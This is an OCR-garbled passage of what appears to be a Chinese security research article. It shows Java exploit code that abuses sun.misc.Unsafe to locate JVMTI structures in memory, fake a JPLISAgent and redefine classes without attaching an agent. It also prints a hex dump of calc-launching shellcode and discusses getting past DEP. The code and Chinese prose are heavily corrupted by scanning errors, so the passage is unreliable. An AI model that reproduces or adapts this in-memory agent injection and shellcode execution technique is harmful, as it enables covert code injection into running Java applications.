Q0':'6400':'630020','5a00" : 'c933':'2d5a00", '85f8": '4de@' : '5b85f8", 'b440': 'b5a0": '63
b440','5d28"':"'1b80':'665d28"', 'efdd':'a5b@" : '62efdd"', 'edc8':'a5b@"': '62edc8', 'ad88":
"b7e@':'69ad88"','9468"': 'a8b0': '5b9468"', " 'af30@"':'b650"':'63af30', " 'e%e0':'0780": '64e%e
Q','7710":'b2b@' : '667710", ' f528"':'e%e0': '62f528",'el00" : 'a5b0 ' : '63e100", '5008"':'70
20':'665008"',"'a4c8"':'a5b0@"': '63a4c8','6dd8":"'e7ad': '5¢c6dd8', '7620': 'b5a0': '667620",

TLONNAAY . "TNRA-NT . T CNLCOHONANY VANRT7AY L VAC DY o VO ANT7INT VCO7NAY oV ACLNAY . T ~CD7N0 TO~NNY . TO0DCNTY

+ Long.toHexString(allocateMemory));



Icvvy . veuv . ovicwy , UvYrv . UoLvy . VcUYUrvY , VLrY . UODVY . OLOZLrIVYU , OLYWYU . O0DOV
:'668c00',"'4c48':'7010" : '664c48","3500" : "'a5b0" : '633500','4f10':'f100": '834f10", 'b3
50':'b7e0':'69b350"','f5d8"':'f280": '6@0f5d8", 'bcc@':'9800":'6@0bcc@', 'cdd’:"'3440"':'6
3cd0Q’','8a00': 'aldd': '5b8a00", '0218"':'6230":'630218"','61a0"': 'b7ed":'6961a0@" , ' 758"
:'a5bQ': '5f75f8"', 'fda8':'a650': '60fda8", 'b7ad": 'b7ed':'69b7a0", " 'f120':'3100": '81f1
20','ed00':'8b48"':'4ed00', 'f898"':'b7e0':'66f898", '6838":'2200"': '5f6838"', 'e@50": 'b5
do':'63e050', 'bb78"':"'86f0":'6@0bb78"',"'a540": 'b7e@':'67a540", '8ab8"':'a650": '638ab8",
'd2b@': 'b7f@' :'63d2b@',"'1a50"': 'a5b0"': '631a50"', '1900"' : 'a650"' : '661900", '6490" : '3b00Q"'
:'836490",'6e90': 'b7e0"': '696€90','9108": 'b7e0"': '679108"','e618':'b170"':'63e618",'6b
50':'6f79":'5f6b50"', "cdc8':'4e10':'65cdc8"','f700"':'aldd’': '60f700Q", " 'f803"':'5000':'6

0f803','ca6d':'b7e@':'66cacd’, '0000':'6a80"': '630000','64d0":'a5b0"': '6364d0', '@9d8"
:'a5b0':'6309d8"', 'dde8"': 'bb50"':'63dde8",'d790": 'b7e0':'67d790"', 'f398"':'0840" : '64f3
98','4370"':'a5b0':'634370"',"'cal®':'1c20':'5ccal@','9c88"':'b7e@"':'679c88"','d910"':'a
5bQ':'62d910','24a0"':'ald0':'6324a0','a760':'b880"':'64a760"','90d0" : 'a880@" : '5b90d0’
,'6d00":'82f0':'666d00Q", 'ecf@':'ac4@': '63e6f@', '00cO': 'ac@': '8300cO', 'fobd': 'b7d0
':'63f6b0',"'1488"':'afdd’:'641488"','ab80"': '0088"':'7eab8@','6d40Q':"'"':'776d40", '8070"'
:'1c50':'668070', 'fe88':'a650"': '60fe88"','7ad0" : 'a6dd' : '667ad@','9100"' : 'aldd" : '6991
00','8898"':'4e@0':"'5b8898","'7c78"':'455":'7a7c78",'975@" : 'ea7@' : '5b9750", '0df0Q" : 'a5
b@':'630df0"',"'7bd8"':'ald@':'637bd8"','86b0":'a650": '6386bA", '4920"': 'b7e0"':'684920",
'6db@':'7390": '666db0' , 'abed' : '86e0': '63abed','e960"': '@acO’':'64e960"','97a0": '3303"'
:'5197a0","'4168"': 'a5b0 ' : '634168", 'ee28':"'b7e0":'63ee28','20d8" : 'b7e0"':'6720d8" ,'d6
20':'b7e0':'67d620','0028"':'1000" : '610028"', 'f6e0':'a650': '60f6ed','a7@0':'a650":'6
4a700','4500': 'ald0' : '664500','8720':"'":'7f8720","'8000"': 'a650"': '668000"', " 'fe38"':'b2
70':'63fe38",'bedd': "a5b0@ ' : '63be@d', 'f498":'ab50": '60f498", "'d8c@': 'b3cO':'63d8cO",
'9298":'b7e@':'699298"',"'ccd8':'4de@"': '65ccd8','7338"': 'cecO':'5b7338",'8d30": '6a40"'
:'5b8d30",'4990"': 'a5b0 ' : '634990', '84f8"':"'b220": '5e84f8",'ch8@': 'bbdd':'63cb80"'";

patterns=""bbf8':'7d00"':'5fbbf8','68f8"':'17e0':"'5e68f8",'6e28"':"'e570@"': '5b6e28', 'bd
48':'8el10@':'5fbd48", '4620':'9ff0": '5c4620', " 'ca70':'19fQ": 'S5bca7@'"; //for
windows_java8_301_x64

//patterns=""8b80"':'8f10"': 'ef8b80", '9f20"':'0880"': " 'f05f20"', '65e0"':'4855":'6f65€0","
41f20':'b88@':'fO5f20','7300':'8f10":'ef7300', 'aead': 'ddd@' : 'ef8ead','1f20"':'8880":
'f@5f20','8140"':'8f10": 'ef8140','75e0"': '4855"': '6f65e€0"', '6f20"': 'd880': ' f@5f20@"', 'adb
8':'dddo" : 'ef8db8','ff20':'6880@"':'f@5f20","'55€0":'4855":'6f65e0"', 'cf20':'3880":"'f0
5f20','05e0':'4855"':'6f65e0','92d8":'96d0" : 'eff2d8','8970':'8f10"': 'ef8970', 'd5e0Q":
'4855':'6f65e€0', '8e70':'4350" : 'ef6e70','d2d8"':'dod@' : 'eff2d8','d340"': 'bf00" : ' f0534
Q','f340':'df00"':'f05340',"'2f20"':'9880"':'f05f20"', '1be@':'d8bQ':"'f6fbe@','8758":"'c2
aQ':'efe758",'c340':'af@@': 'f@5340', 'f5e@':'4855":'6f65e0@', 'c5e@':'4855": '6f65€0",
'b2d8':'b6d@' : 'eff2d8','02d8":'06d0" : 'eff2d8"','ad88"': 'ddb@':'ef8d88"','62d8":'66d0"'
:'eff2d8','7b20':'3d50"': 'ef7b20"','82d8":'86d0": 'eff2d8"','0f20':'7880":'fO5f20",'97
20':'8f10":"'f69720','7c80':'5850": "ef5c8@', '25e0": '4855": '6f65e0', '32d8":'36d0": 'e
ff2d8','e340"':'cf00"':'f05340', 'ec80':"'c850':"'ef5c80','85e0':'addd': '6f65e0", 9410’
:'c030":'ef9410','5f20"': 'c880': 'f@5f20','1340":'ff00':'f05340','b340':'9f00" : ' f@53
40','7340':'5f00": 'f05340', '35e@"': "'4855" : '6f65e0','3f20"': 'a880": 'f@5f20','8340":'6
f00Q':'f05340','4340"':'2f00": 'f@5340','0340"': 'ef00': 'f05340"','22d8":'26d0" : 'eff2d8’
,'e5e0':'4855":'6f65e0', '95e0': '4855": '6f65e0@', '19d0' : 'd830' : ' f619d@', '52d8" : '56d0
":'eff2d8','c420':'b810":'efc420', 'b5e@"':'dddO" : 'ef95e@"','c2d8":"'c6dd':'eff2d8',"'5
340':'3f00':'f05340"','df20':'4880"':'f@5f20"',"'15e0"':'4855":'6f65e0"', 'a2d8"':'a6dd’ "'
eff2d8','9340':'7f00':'f05340','8070":"'add@' : 'ef9070"',"'f2d8"':'f6d0"': 'eff2d8",'72d8
':'76d0":"eff2d8','6340": 400" : ' f05340',"'2340"':'0f00" : 'f05340','3340"':'1f00" : ' f@O5
340','b070"':'ddd0"' : 'ef9070", '45€0@' : '4855"': '6f65€0', '8d20"': 'add@' : 'ef9d20','6180" ;"'



8d90': 'ef6180',"'8f20":'f88@":'f@5f20',"'8c80':'6850": 'ef5c80', 'a5e0": '4855": '6f65€0
','ef20":'5880": 'f@5f20','8410':'b030": 'ef9410", 'b410" : 'e030" : 'ef9410"', 'bf20' : ' 288
Q':'f@5f20','e2d8":"'ebdd' : "eff2d8", 'bd20":'ddd0@' : "'ef9d20",'12d8"':'16d0": "eff2d8","
9928':'8f10':"'f69928"','9e28"':"'8f10": 'f69e28"','4c80": '285@": "ef5c80','7508"': '8f10":
'ef7508",'1df@':'d940' : 'fefdf@'"; //for linux_java8_301_xo64

long jvmtiOffset=0x79a220; //for java_8_271_xb64

jvmtiOffset=0x78a280; //for windows_java_8_301_x64

//jvmtiOffset=0xf9c520; //for linux_java_8_301_xo64

List<Map<String, String>> patternList = new Arraylist<Map<String, String>>

OF
for (String pair : patterns.split(",")) {
String offset = pair.split(":")[@].replace("'", "").trimQ);
String value = pair.split(":")[1].replace("'", "").trimQ);
String delta = pair.split(":")[2].replace("'", "").trimQ);

Map pattern = new HashMap<String, String>(Q);
pattern.put("offset", offset);
pattern.put("value", value);
pattern.put("delta", delta);
patternList.add(pattern);

int offset = 8;
int targetHexLength=8; //on linux,change it to 12.
for (int j = @0; j < 0x2000; j++) //down search

for (int x : new int[]{-1, 1}) {
long target = unsafe.getAddress(allocateMemory + j * x * offset);
String targetHex = Long.toHexString(target);
if (target ¥ 8 > @ || targetHex.length() != targetHexLength) {
continue;
ks
if (targetHex.startsWith("a") || targetHex.startsWith("b"™) ||
targetHex.startsWith("c") |1 targetHex.startsWith("d") I
targetHex.startsWith("e") || targetHex.startsWith("f") I]
targetHex.endsWith("00000")) {
continue;
ks
System.out.println("[-]start get " +

Long.toHexString(allocateMemory + j * x * offset) + ",at:" +

' "+ )

Long.toHexString(target) + ",j is:
for (Map<String, String> patternMap : patternList) {

targetHex = Long.toHexString(target);

if (targetHex.endsWith(patternMap.get("offset"))) {
String targetValueHex =
Long.toHexString(unsafe.getAddress(target));
System.out.println("[!]bingo.");
if (targetValueHex.endsWith(patternMap.get("value"))) {
System.out.println("[ok]i found agent env:start get

+ Long.toHexString(target) + ",at :" +
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System.out.println("[ok]jvm base is " +
Long.toHexString(target - Integer.parselInt(patternMap.get("delta"), 16)));

System.out.println("[ok]jvmti object addr is " +
Long.toHexString(target - Integer.parselnt(patternMap.get("delta™), 16) +
jvmtiOffset));

//1long jvmenvAddress=target-
Integer.parseInt(patternMap.get("delta"),16)+0x776d30;

long jvmtiAddress = target -
Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;

long agentAddress = getAgent(jvmtiAddress);

System.out.println("agentAddress:" +
Long.toHexString(agentAddress));

Bird bird = new Bird();

bird.sayHello(Q);

doAgent(agentAddress);

//doAgent(Long.parseLong(address));

bird.sayHello(Q);
return;

private static long getAgent(long jvmtiAddress) {
Unsafe unsafe = getUnsafe();
long agentAddr = unsafe.allocateMemory(0x200);
long jvmtiStackAddr = unsafe.allocateMemory(0x200);
unsafe.putlong(jvmtiStackAddr, jvmtiAddress);
unsafe.putlLong(jvmtiStackAddr + 8, 0x30010100000071eel);

unsafe.putlLong(jvmtiStackAddr + 0x168, 0x90909090000002001);
System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));
unsafe.putlong(agentAddr, jvmtiAddress - 0x234f0);

unsafe.putlong(agentAddr + @0x8, jvmtiStackAddr);
unsafe.putlLong(agentAddr + 0x10, agentAddr);
unsafe.putlong(agentAddr + 0x18, 0x00730065006c00001);

//make retransform env

unsafe.putlLong(agentAddr + 0x20, jvmtiStackAddr);
unsafe.putlLong(agentAddr + @0x28, agentAddr);
unsafe.putlong(agentAddr + 0x30, 0x0038002e003100011);

unsafe.putlong(agentAddr + 0x38, 0);
unsafe.putlLong(agentAddr + 0x40, 0);

+ 0x48, 0);
unsafe nutl onaCaaentAddr + Ax50. O):

unsafe.putLong(agentAddr
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unsafe.putlong(agentAddr + @x58, 0x00720074000100011);
unsafe.putlong(agentAddr + 0x60, agentAddr + @x68);
unsafe.putlong(agentAddr + 0x68, 0x00414141414141411);
return agentAddr;

private static void doAgent(long address) throws Exception {
(Class cls = Class.forName("sun.instrument.InstrumentationImpl”);

for (int 1 = @; i < cls.getDeclaredConstructors().length; i++) {
Constructor constructor = cls.getDeclaredConstructors()[i];
constructor.setAccessible(true);
Object obj = constructor.newInstance(address, true, true);
for (Field f : cls.getDeclaredFields()) {
f.setAccessible(true);
if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) {
//System.out.println("mEnvironmentSupportsRedefineClasses:" +

f.get(obj));

ks
for (Method m : cls.getMethods()) {

if (m.getName().equals("redefineClasses")) {

//System.out.println("redefineClasses:" + m);

String newBirdClassStr =
"yvo6vgAAADIAHWOABgARCQASABMIABQKABUAFgcAFWCAGAEAB jxpbml@PgEAAYygpVgEABENVZGUBAA9Ma
W51TnVtYmVyVGFibGUBABIMb2NhbFZhcmlhYmx1VGFibGUBAARQAGLzAQATTGS51dC9yZWI1eW9uz(9CaX]
kOWEACHNheUh1bGxvAQAKUZ291cmN1RmlsZQEACUJpcmQuamF2YQwWABWAIBWAZDAAaABsBAAhjaGFuZ2VkI
QcAHAWAHQAeAQARbmV@OL3J1YmV5b25kL@IpcmQBABBgYXZhL2xhbmcvT21gZWNOAQAQamF2YS9sYWSnL1N
5c3R1bQEAAZ291dAEAFUXqYXZhL21vL1ByaW5@U3RyZWFtOWEAE2phdmEvaW8vUHIpbnRTdHI1YW@BAAdwc
mludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n0y1WACEABQAGAAAAAAACAAEABWATAAEACQAAACSAAQABAAA
ABSg3AAGXAAAAAGAKAAAABgABAAAAAWALAAAADAABAAAABQAMAAQAAAABAAAACAABAAKAAAASAATAAQAAA
AmyAAISA7YABLEAAAACAAOAAAAKAATAAAAGAAgGABWALAAAADAABAAAACQAMAAQAAAABAASAAAACABA=";

Bird bird = new Bird();

ClassDefinition classDefinition = new ClassDefinition(

bird.getClass(),
Baseb4.getDecoder().decode(newBirdClassStr));

ClassDefinition[] classDefinitions = new ClassDefinition[]

{classDefinition};
try {
//Thread.sleep(5000);
m.invoke(obj, new Object[]{classDefinitions});
} catch (Exception e) {
e.printStackTrace();
ks
ks
ks

//System.out.println("instrument obj:" + obj);
//System.out.println("constr:" + cls.getDeclaredConstructors()[i]);



private static Unsafe getUnsafe() {
Unsafe unsafe = null;

try {
Field field = Unsafe.class.getDeclaredField("theUnsafe™);
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);

}

return unsafe;

Bird.java

package net.rebeyond;

public class Bird {
public void sayHello()

{
System.out.println("hello!");

vintitHlad iml

PocWindows

allocateMemory:1d293d56910

[-]start get 1d293d568f0,at:6f5c45c0,] is:4

[!']bingo.

[ok]i found agent env:start get 6f5c45c@,at :6T00a5b0,j is:4
[ok]jvm base is 6effooe0

[ok]jvmti object addr is 6T78a220

long:1d2a72fd9a8

agentAddress:1d2a72fd630
hello!
changed!

Process finished with exit code ©

&= Structure
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o
pJIAEE, FAIRIh@E 4 Java URSSEIL T o) SMBEEEF Y,

BRG], FRIRE I ARIBICHN R, —ReEEZAE— 1 THEITRY
exp, BEWMMENTENRL, R LAE demo, FHIBHZENFIBTIE,

Java BESEE Native (XIBHIT

MREAO

32, FAINE T £ Windows & RISEFIFE instrument B9NE S SAFTIH
yIEABNTR, HFEANERGEITRH - 18, AJBAEHE] Java @12 E )\ shellcode,

SCELAMRER NI B4 T1ER Native 18, (B2 X AE(XER T Windows F&, Ri&
FBF Windows F &R ARENTEERN: )

E—/NEEATENIE JPLISAgent WRAIATR, BEZ| redefineClasses KR E B X
FMAED:

targetFiles = (jbyteArray *) allocate(jvmtienv,

numDefs * (jbyteArray));

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201110-35b8b084—
ff54-1.png)
allocate PREIRVSE— TS jvmtienv F8E, AR allocate B

void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) {
void * resultBuffer = NULL;

jvmtiError error JVMTI_ERROR_NONE;

error = (*jvmtienv)->Allocate(jvmtienv,
bytecount,

(unsigned char**) &resultBuffer);
/* may be called from any phase */
jplis_assert(error == JVMTI_ERROR_NONE);
if ( error != JVMTI_ERROR_NONE ) {
resultBuffer = NULL;
ks

return resultBuffer;

FINEBEFIRAZR WA jvmtieny WR—DE R, BB — NESER jvmtienv 211
PEF
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W AT L rrFE2 AT AT es WHaEs B EW1 x| 5%
i Ees sy ASCII
000000006F78A280 |00 00 0O 00[ 00 00 00 O0|FO 02 33 6F(00 00 00 QO o, ...... 0. 30.
000000006F78A4290 | OO0 00 Q0 00[ 00 00 00 00|/ 60 43 33 6F(00 00 00 QO .. ...... C3o0
000000006F78A2A0 | 20 45 33 6F( 00 00 00 00| 20 49 33 6F[ 00 00 00 00 E3o 130
000000006E78A2B0 | 00 4D 33 6F| 00 00 00 00| 00 4F 33 6F| 00 00 00 00| .M30..... 030
000000006F78A2Cc0 | €0 50 35 6F| 00 00 00 00| 70 52 33 6F[ 00 00 00 00| AP3o .pR3o
000000006F78A2D0 EG 56 33 6F| 00 00 00 00| cO 58 33 6F| 00 Q0 00 00| °*v3o....AX30
000000006F78A2E0 | 70 5D 33 6F| 00 00 00 00| 30 5F 33 6F| 00 00 00 00| pl3o 0_30.
000000006F7&A2E0 | EO 60 33 6F| 00 00 00 00| D0 68 33 6F| 00 00 00 00| 2" 30 bh3o
000000006E78A300 | FO 3F 33 6F| 00 00 00 00| AO 41 33 6F| 00 00 00 00| 8730 Ado
000000006F78A310 | DO 6C 33 6F[ 00 00 00 00|00 ©F 33 6F(00 00 00 00| Pl130..... o3o
000000006F78A320 | 10 90 33 6F[ 00 00 00 00| 70 94 33 6F( 00 00 00 00 . 30. p.30
000000006F78A330 | AO 96 33 6F[ 00 00 00 00| DO 98 33 6F( 00 00 00 00 .30. p.30
000000006F78A340 | 00 98 33 6F[ 00 00 00 00| 30 90 33 6F( 00 00 00 00 . 3o. 0.30.
000000006F78A350 | 60 9F 33 6F[ 00 00 00 00|90 Al 33 6F[ 00 00 00 00 .30..... jJo
000000006F78A360 | €O A3 33 6F[ 00 00 00 00| FO A5 33 6F( 00 00 00 00 A£30 .0¥30
000000006F78A370 | FO 06 34 6F[ 00 00 00 00| 50 09 34 oF( 00 00 00 Q0| ®.4o0. P.do
000000006F78A380 | cO OB 34 6F[ 00 00 00 00| A0 OC 34 6F[/ 00 00 00 00| A.4do do.
000000006F78A390 | 80 0D 34 6F[ 00 00 00 00| 40 F8 32 6F( 00 00 00 00 .do. @520
000000006F78A3A0 | BO FA 32 6F[ 00 00 00 00| 20 A8 33 6F[ 00 00 00 00| “ulo 3o.
000000006F78A3B0 | FO A9 33 6F( 00 00 00 00|00 00 OO0 00[00 00 00 Q0| ®@30. ... v v ...
000000006F78A3c0O | €O AB 33 6F[ 00 00 00 00|90 A 33 6F| 00 00 00 00 A«3o ..... 230
000000006F7&A3D0 | 60 B1 33 6F| 00 00 00 00| 30 B4 33 6F[ 00 00 00 00| "+30 0 3o0.
000000006F7&A3ED | 80 D1 33 6F| 00 00 00 00| DO 3B 33 6F| 00 00 00 00| .N3o b; 3o
000000006F78A3F0 | 40 3E 33 6F[ 00 00 00 00|90 BA 33 6F(00 00 00 00| @>30..... %30
000000006F78A400 | AO BC 33 6F[ 00 00 00 00| BO BE 33 6F[ 00 00 00 00 %30. . "¥30
000000006F78&A410 | BO cO 33 6F| 00 00 00 00| cO c2? 33 6F|/ 00 00 00 00| "A3o....AA3o
000000006F78A420 | EO c4 33 6F| 00 00 00 00| 00 c7 33 6F| 00 00 00 00| aA3o..... C3o
000000006F78A430 | 60 €D 33 6F[ 00 00 00 00| 70 cF 33 6F|[ 00 00 00 00 I30....pI30
000000006F78A440 | 90 D3 33 6F( 00 00 00 00|00 pp 33 6F( 00 00 00 00 030..... Y3o
000000006F78A450 | cO DE 33 6F[ 00 00 00 00| 80 EQ 33 6F( 00 00 00 Q0| AP30..... a3o
000000006F78A460 | 90 E3 33 6F[ 00 00 00 00| 80 E6 33 6F[ 00 00 00 00| .&30..... 30
000000006F78A470 | 70 E9 35 6F| 00 00 00 00| 50 EC 33 6F| 00 00 00 00| pé3o Pi3o
000000006F78A480 | 30 EE 33 6F[ 00 00 00 00|00 FO 33 6F(00 00 00 Q0| 0730..... 83o.
000000006F78A490 | OO0 00 0O 00[ 00 00 00 00)DO F1 33 6F[00 00 00 QO .. ...... bn3o
000000006F78A4A0 | BO F3 33 6F[ 00 00 00 00|90 F5 33 6F( 00 00 00 00| “030..... 030
000000006F78A4B0 | 90 F7 33 6F[ 00 00 00 00| 80 F9 33 6F( 00 00 00 00 +3o0..... u3o
000000006E78A4CO | 00 03 34 6F| 00 00 00 00|90 04 34 6F| 00 00 00 00 o, ... 4o
Q00000006F78A4D0 | 80 FB 33 6F[ 00 00 00 00| 80 FD 33 6F(00 00 00 00| .G30..... y3o
000000006F78a4E0 | 50 FF 33 6F( 00 00 00 00| 00 B/ 33 6F[ 00 00 00 00| Py3o..... -30.
000000006F78A4F0 | CO B8 33 6F| 00 00 00 00| DO 6A 33 6F| 00 00 00 00| A, 3o Pjlo
000000006F78A500 | 10 71 33 6F| 00 00 00 00| 20 73 33 6F|00 00 00 00| .g30 530
000000006E78A510 | 30 75 33 6F| 00 00 00 00|40 77 33 6F| 00 00 00 00| Ou3o @w3o
000000006F784520 | 60 79 33 6F| 00 00 00 00| 80 7B 33 6F[ 00 00 00 00| "w3o..... {3o.
000000006F78A530 | 70 D9 33 6F| 00 00 00 00| BO 33 33 6F| 00 00 00 00| pU3o “330.
000000006F7&A540 | c0 13 35 6F| 00 00 00 00| A0 D5 33 6F[ 00 00 00 00| A.30 030
000000006E78A550 | 30 01 34 6F| 00 00 00 00| 40 47 33 6F/ 00 00 00 00| 0.40 @G3o
000000006F78A560 | 20 48 33 6F[ 00 00 00 00| 00 00 00 00|00 00 00 00 K3oTosfies L% &
000000006F78A570 | 00 00 GO 00[{ 00 00 00 00|00 00 Q0 00|00 00 00 QO] vv e e s e e oo ennn
N T P, o B o = 7 2 Y Ao nn oo ool oo oo oo ool oo oo oo ool Ao oo oo oo

e A

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201111-35ed65ae—
ff54-1.png)

W EBZEZ KETEH, % X8, MRMAEBDT _HHRENIE, TS L8
FIIERY, B RBHEIER jvmtieny W RIETENRBEMNE

EpS
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BEX T REFEHEI ISR ERIEINAT,
s POC:

Feep SN E— MR 1B payload:

ATl AE:2 WAE3 WMATes MREs B w1 e BEZE ) £HK

Hhk ARy ini | ASCIT

oo

00000219p161A810 | 20 01 95 Aal 19 02 00 0020 A8 B1 D1119 02 00 O0(P..2.... =N...
0000021901B1A820 | 20_A8 B1 D1[19 02 00 00|00 00 00 00[00 00 00 00| "=N............
00000219p0181A830 | 00 00 00 00|00 00 00 00{ 00 00 00 00|00 00 00 QO ....vvvuunnn...
00000219p181A840 | 00 00 00 00| 00 00 00 00[{ 00 00 00 00j00 00 00 OO ......ovueann..
00000219p161A850 | 00 00 00 00| 00 00 00 00[{ 00 00 00 00j00 00 00 OO .......oouuonn..

00000219D01B1A860 | 00 00 00 00/ 00 00 00 00|00 00 00 00100 00 00 Q0| ................
00000219D1B1A870 [00000219D1A448000] = 00000219D1B4F600 (FE F#I3E) PO ................
0000021901B1A880 | DU UUUU DU UU UU U DU UU U0 U0 0O U OO0 | ...

00000219D01B1A890 | 00 00 00 00| 00 00 00 00[ 00 00 00 00[{00 00 00 00| oo vvevmmnnnnnn.
000002190181A8A0 | 00 00 00 00|00 00 00 00[ 00 OO 00 00[{00 00 00 Q00| «vvevnnmmnnnnnnn
00000219p181A88B0 | 00 00 00 00| 00 00 00 00|00 OO 00 00[00 00 00 Q00| ... .ooiiinao. .
0000021901B1A8cO | 00 00 00 00| 00 00 00 00|00 00 00 00[{00 00 00 00| oo vvevmunnnnnn.
00000219D01B1A8D0 | 00 00 00 00| 00 00 00 00[ 00 OO0 00 00[{00 00 00 00| .o vvrrmunnnnnn.
00000219D01B1A8E0 | 00 00 00 00| 00 00 00 00[ 00 00 00 O00[{00 00 00 00| «vvevevmmnnnnnnn
00000219D01B1A8F0 | 00 00 00 00| 00 00 00 00[ 00 OO 00 00[{00 00 00 00| «vvvvevnmnnnnnnn
000002190181A900 | 00 00 00 00| 00 00 00 00|00 OO 00 00[{00 00 00 00| oo vvevmmnnnnnn.
00000219D01B1A910 | 00 00 00 00| 00 00 00 00|00 00 00 00[{00 00 00 00| oo vvevemnnnnnnn
000002190181A920 | 00 00 00 00| 00 00 00 00|00 00 00 00[{00 00 00 00| oo vvevmmnnnnnnn
00000219p181A930 | 00 00 00 00| 00 00 00 00|00 OO 00 00[{00 00 00 Q00| oo vvevmnnnnnnnn
000002190181A940 | 00 00 00 00| 00O 00 00 00|00 00 00 00[{00 00 00 00| «vvvvevmmnnnnnn.
000002190181A950 | 00 00 00 00| 00 00 00 Q0[O0 OO 00 00[{00 00 00 00| «vvevermmnnnnnnn
00000219p181A960 | 00 00 00 00| 00 00 00 00|00 00 00 00{00 00 00 00| ... ..o ..
0000021901B1A970 | 00 00 00 00| 00 00 00 00|00 00 00 00[{00 00 00 00| «vvvvrvmunnnnnnn
00000219D0181A980 | 00 00 00 00[ 00 00 00 00{90 A9 B1 D1119 02 00 00| ......... O=N. ..

00000219D1B1A990 | 41 48 83 E4|FO E8 CO 00{ 00 00 41 51|41 50 52 51| AH.&deA...AQAPRQ
00000219D1B1A9A0 | 56 48 31 D2| 65 48 88 52|60 48 88 52|18 48 88 52| VvH1deH.R H.R.H.R
00000219pD1B1A9B0 | 20 48 88 72|50 48 OF B7|4A 4A 4D 31| C9 48 31 cO| H.rPH.-JIMIEH1A
00000219D1B1A9C0 | AC 3C 61 7¢|02 2c 20 41|cl c9 OD 41|01 cl1 E2 ED| —-<a|., AAE.A.A&7
0000021901B1A9D0 | 52 41 51 48|88 52 20 88|42 3C 48 01| D0 88 80 88| RAQH.R .B<H.D...
00000219D1B1A9E0 | 00 00 00 48|85 cO 74 67|48 01 DO 50|88 48 18 44| ... H.AtgH.DP.H.D
00000219D1B1A9F0 | 88 40 20 49|01 DO E3 56/48 FF €9 41|86 34 88 48| .@ I.DAVHYEA.4.H
00000219D1B1AA00 | 01 D6 4D 31| C9 48 31 cOjAaCc 41 1 €9/ 0D 41 01 cl| .OMIEHIA-AAE.A.A
00000219p01B1AA10 | 38 EO 75 F1|4C 03 4c 24{08 45 39 pl|75 D8 58 44| 8auAL.L%.EINuBXD
00000219D1B1AA20 | 88 40 24 49|01 DO 66 41|88 Oc 48 44|88 40 1c 49| .@$I.pfA..HD.@.T
0000021901B1AA30 | 01 DO 41 88|04 88 48 01| DO 41 58 41|58 5E 59 5A| .DA...H.DAXAXAYZ
00000219D1B1AA40 | 41 58 41 5941 5A 48 83| EC 20 41 52| FF EO 58 41| AXAYAZH.7 ARyaXxA
00000219D1B1AA50 | 59 5A 48 8B| 12 E9 57 FF|FF FF 5D 48| BA 01 00 00| YZH. . éWyyy]H®. .

00000219p1B1AA60 | 00 00 00 00[ 00 48 8D 8D| 01 01 00 00[41 BA 31 8B ..... Hevuno. A°1.
00000219D1B1AA70 | 6F 87 FF D5|BB FO BS A2| 56 41 BA A6| 95 BD 9D FF | o.vO»BudvAa®}.k.v
00000219D1B1AA80 | D5 48 83 4|28 3C 06 7C|0A 80 FB EO| 75 05 BB 47 | OH.A(<.|..Gau.»G
00000219D1B1AA90 | 13 72 6F 6A| 00 59 41 89| DA FF D5 63|61 6C 63 2E| .roj.vA.UyOcalc.
00000219D01B1AAAD | 65 78 65 00| 00 00 00 00[ 00 OO0 00 00[{00 OO0 00 00| exe.....couuun..
00000219D1B1AAB0D | 00 00 00 00| 00 00 00 Q0[O0 00 00 00[{00 00 00 00| .. vveviununnnnn
00000219p1B1AACO | OO0 00 00 00| 00 00 00 00{ 00 00 00 00[{00 00 00 00| oo vvniminnnnnnn

00000219p181AAD0O | 00 00 00 00| 00 00 00 00[{ 00 00 00 00jJ00 00 00 OO ......ovinnann..
nonnnriantetaacn | an oo an ool on on oo ol on an oo ool nn on on oo

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201111-362d4 264~
ff54-1.png)

0x219d1b1a810 FFA 1@ unsafe.allocateMemory D ECATFAIE HELE, FIIMIXE
675 JPLISAgent 3T, 0x219d1b1a818 4hH91E 0x219d1b1a820 F48ME jvmtienv
HNFEET, ERiE 0x219d1b1a820, EMENFEMESER jvmtienv I RIIEET, XEFAE
fil3g[@ 7B © O0x219d101a820, # FRIAIFIPIPATE 0x219d1b1a820 M E RAHY
jvmtienv SR 7T,

RIBNSIEIREA] allocate REUGEETE jvmtienv IE2MNREE N 0x168, FIREE
& 0x219d1b1a820+0x168 (0x219d1012988) HIME N FA] shellcode HyHELEEN RIS
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RIP 5|\ shellcode, LEAMFATIE 0x219d101a988 LhEEIZRE N 0x219d1b1a990, =

BRAE Ox219d1b1a988 HI/EE, A/E1E 0x219d1b1a990 E A shellcode,

PRiE, 1B17:

RCE POC

allocateMemory:219d1b1a810

A fatal error has been detected by the Java Runtime Environment:

EXCEPTION_ACCESS_VIOLATION (©xc0000005) at pc=0x00000219d1bla990, pid=24840, tid=0x0000000000005bfc

JRE version: Java(TM) SE Runtime Environment (8.8_271-b89) (build 1.8.0_271-b09)
Java VM: Java HotSpot(TM) 64-Bit Server VM (25.271-b09 mixed mode windows-amdé4 compressed oops)

Problematic frame:
C 0x06000219d1b1a990

Failed to write core dump. Minidumps are not enabled by default on client versions of Windows

An error report file with more information is saved as:
:\tmp\untitled\hs_err_pid24840.1l0g

If you would like to submit a bug report, please visit:

The crash happened outside the Java Virtual Machine in native code.
See problematic frame for where to report the bug

Process finished with exit code 1

(https://xzfile.aliyuncs.com/media/upload/picture/20210817201112-366d7c44
ff54-1.png)

iz crash 7, IROFEERRZF, FHE MRS

#EXCEPTION_ACCESS_VIOLATION (@xc@000005) at pc=0x00000219d1b1a990, pid=24840,
t1d=0x0000000000005bf c

NFAO)RE, B2 pc B9ER 0x00000219d1b1a990, XFt2F(] shellcode &
ik, 1RBAFELA MY payload FRE R IEMEAY, RN RAFE T NX (DEP) , SEFHA]
WINEEHIT shellcode, TEIZEE/INA, A1 RIP 22227 shellcode:

3 wer k9RO w
Cad)
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%53 NX(DEP)

3289 POC B2 AT A8 RIP, B236M189 shellcode EAIE L, AHER

ol
&

2l Java 3

ROP x[4] DEP, BB&E
JT X K4 RWE, m Java tBEF JT

PR HRSE

BEH—

FEXFE—TXE, h

R rwx K9ATEIE?

